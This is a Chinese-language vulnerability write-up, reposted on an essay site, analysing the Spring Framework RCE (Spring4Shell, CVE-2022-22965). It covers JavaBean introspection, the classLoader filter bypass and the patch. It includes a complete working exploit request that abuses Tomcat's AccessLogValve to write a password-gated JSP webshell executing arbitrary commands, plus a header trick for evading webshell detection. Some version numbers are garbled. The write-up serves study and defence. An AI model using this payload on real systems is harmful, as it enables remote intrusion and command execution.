900字范文,内容丰富有趣,生活中的好帮手!
900字范文 > Spring 框架远程代码执行漏洞(CVE--22965)

Spring 框架远程代码执行漏洞(CVE--22965)

时间:2022-07-17 16:39:45

相关推荐

Spring 框架远程代码执行漏洞(CVE--22965)

01 影响范围:

Spring Framework < 5.3.18Spring Framework < 5.2.20

及其衍生产品

JDK ≥ 9JRE ≥ 9

02 前置知识:

1、JavaBean

JavaBean是一种特殊的类,主要用于传递数据信息,这种类中的方法主要用于访问私有的字段,且方法名符合某种命名规则。如果在两个模块之间传递信息,可以将信息封装进JavaBean中。这种JavaBean的实例对象称之为值对象(Value Object),因为这些bean中通常只有一些信息字段和存储方法,没有功能性方法,JavaBean实际就是一种规范,当一个类满足这个规范,这个类就能被其它特定的类调用。一个类被当作javaBean使用时,JavaBean的属性是根据方法名推断出来的它根本看不到java类内部的成员变量

2、内省:

基本概念: 计算机程序在运行时(Runtime)检查对象(Object)类型的一种能力, 通常也可以称作运行时类型检查

内省的作用:内省是操作JavaBean 的 API,用来访问某个属性的 getter/setter 方法

内省的使用:

通过BeanInfogetPropertyDescriptors方法和getMethodDescriptors方法可以拿到 javaBean 的字段信息列表和 getter 和 setter 方法信息列表PropertyDescriptors可以根据字段直接获得该字段的 getter 和 setter 方法MethodDescriptors可以获得方法的元信息,比如方法名,参数个数,参数字段类型等然后通过反射机制来调用这些方法

03 环境搭建:

1、调试环境

使用IDEA搭建一个简单的Spring MVC环境,版本为4.3.8,然后配置好Tomcat,确保可以进行调试

@Data@NoArgsConstructor@AllArgsConstructorpublic class User {private String name;private String password;}

@Controllerpublic class UserController {@RequestMapping("/user")@ResponseBodypublic String getUser(User user){return "ok";}}

2、漏洞复现环境

使用IDEA搭建一个简单的Spring MVC的环境,然后打包为war包部署到本地Tomcat下的webapps文件夹下

04 漏洞分析:

首先使用调试环境进行调试,查看JavaBean的设置流程

整个调试过程比较长,这里挑重点的地方进行分析,首先程序会通过request请求获取到传入的keyvalue,并且依次对每一个键值对进行赋值

传入的key值中可能会含有.,pos为每次截取key值中第一个"."的下标,然后迭代得到内省获取的字段信息,nestedPa中包含对应的object与内省的信息

nestedPa的内容包含传入的path与对应的object,如果传入class.module.classLoader.resources.context.parent.pipeline.first.suffix则也会通过内省调用getter获取最终的对象

自省时的beanClass最开始来源于controller中传入的class对象,拿上面的例子举例,需要接收一个User,那么一开始的beanClass就是User.class,然后获取其settergetter方法,只有传入的属性值有settergetter对应的属性时,beanClass才会变化,因为UsergetClass这个方法,所以当传入class=xxx,那么下一次的beanClass就会变为class.Class。如果传入的key值包含.时,beanClass也会随着对应的值进行迭代,举个例子,传入class.module=xx,一开始beanClassclass.Class,通过自省获取了Class的对应方法,接着识别module,对应的beanClass就会变为module.Class,他们是由不断获取对应的object,并且是通过getClass()得到的

当对java.lang.Class.class进行内省时,会将它的所有settergetter方法put到propertyDescriptorCache中,这里过滤了classloader

如果传入class.module时会先通过内省获取classgettersetter,同时反射创建class对象,接着对module进行内省,当使用内省获取Module的settergetter时,虽然pd.getNameclassloader,但是beanClassModule.class,而且通过||连接,因此绕过了classloader的限制,在高版本的Spring框架中虽然代码不太一样,但是原理是一样的,都可以绕过(影响范围内的版本)

在前面获取了object之后就会对这个值进行设置,在获取了object后,对应的setter方法也通过之前的内省获得了,因此可以使用反射进行属性的设置,从而完成数据绑定

总结一下:

1、通过自省去获取对应classsettergetter方法,并且最后会返回setter,只有传入的属性中有内省获取到的属性时才会创建对应的object与返回对象,因为任意类都有getClass方法,所以传入class会获取到object并返回setter,对于class.xxx.xxx这样的key值也一样,会获取最终的object,并且返回setter方法

2、接着会用得到的objectsetter方法通过反射进行值的设置,设置为请求传入的value

3、因此相当于可以给Class可以内省获取的任意属性进行赋值,一种利用方式是可以设置日志文件的位置、名称与内容来写入webshell

AccessLogValue利用方式:

AccessLogValue的属性可参考tomcat官方文档

/tomcat-8.5-doc/config/valve.html

通过属性注入修改AccessLogValue的几个属性如下

class.module.classLoader.resources.context.parent.appBase=./class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25{Prefix123}i+1231231+%25{Suffix123}iclass.module.classLoader.resources.context.parent.pipeline.first.suffix=.jspclass.module.classLoader.resources.context.parent.pipeline.first.directory=.class.module.classLoader.resources.context.parent.pipeline.first.prefix=webapps/ROOTclass.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=

由于%会被过滤,pattern里通过引用头部来实现构造。

PS: 注意每次写新的文件,需要修改suffix、prefix以及fileDateFormat,否则文件路径不会修改。

fileDataFormat:默认是.yyyy-MM-dd,尽量只用数字,因为字母会被解析格式化

suffix:只要有后缀即可

prefix:可任意

pattern:格式一般是%h %l %u %t “%r” %s %b ,所以%会被格式化,但通过%{xxx}i可引用请求头字段,即可保证任意字符写入,并且可以实现字符拼接,绕过webshell检测。

%{xxx}i 请求headers的信息%{xxx}o 响应headers的信息%{xxx}c 请求cookie的信息%{xxx}r xxx是ServletRequest的一个属性%{xxx}s xxx是HttpSession的一个属性

05 漏洞复现:

将Spring MVC的打包为war包,并且放到Tomcat的webapps下

启动Tomcat

访问对应的controller,这里设置了日志的文件名、文件路径、以及后缀名,将后缀名设置为.jsp,然后不断地写入执行命令的jsp代码,从而实现webshell的写入

POST /springmvc/user HTTP/1.1Host: localhost:8080User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:98.0) Gecko/0101 Firefox/98.0Accept-Encoding: gzip, deflateAccept: */*Connection: closesuffix: %>//c1: Runtimec2: <%DNT: 1Content-Type: application/x-www-form-urlencodedContent-Length: 762class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=

发现jsp已经生成,并且内容为执行命令并回显的命令

访问对应的tomcatwar.jsp并传入命令,实现命令执行

06 补丁分析:

补丁链接:/spring-projects/spring-framework/commit/002546b3e4b8d791ea6acccb81eb3168f51abb15

当beanClass是class.Class时,只允许添加name属性,因此避免了设置module

参考文档:

/archives/1158https://jasonkayzk.github.io//03/02/Java%E7%9A%84%E5%86%85%E7%9C%81%E6%8A%80%E6%9C%AF//developer/article/1035297/spring-projects/spring-framework/commit/002546b3e4b8d791ea6acccb81eb3168f51abb15

喜欢的大佬们可以关注我的公众号,我会在公众号里持续分享一些安全的内容,可以一起交流~

本内容不代表本网观点和政治立场,如有侵犯你的权益请联系我们处理。
网友评论
网友评论仅供其表达个人看法,并不表明网站立场。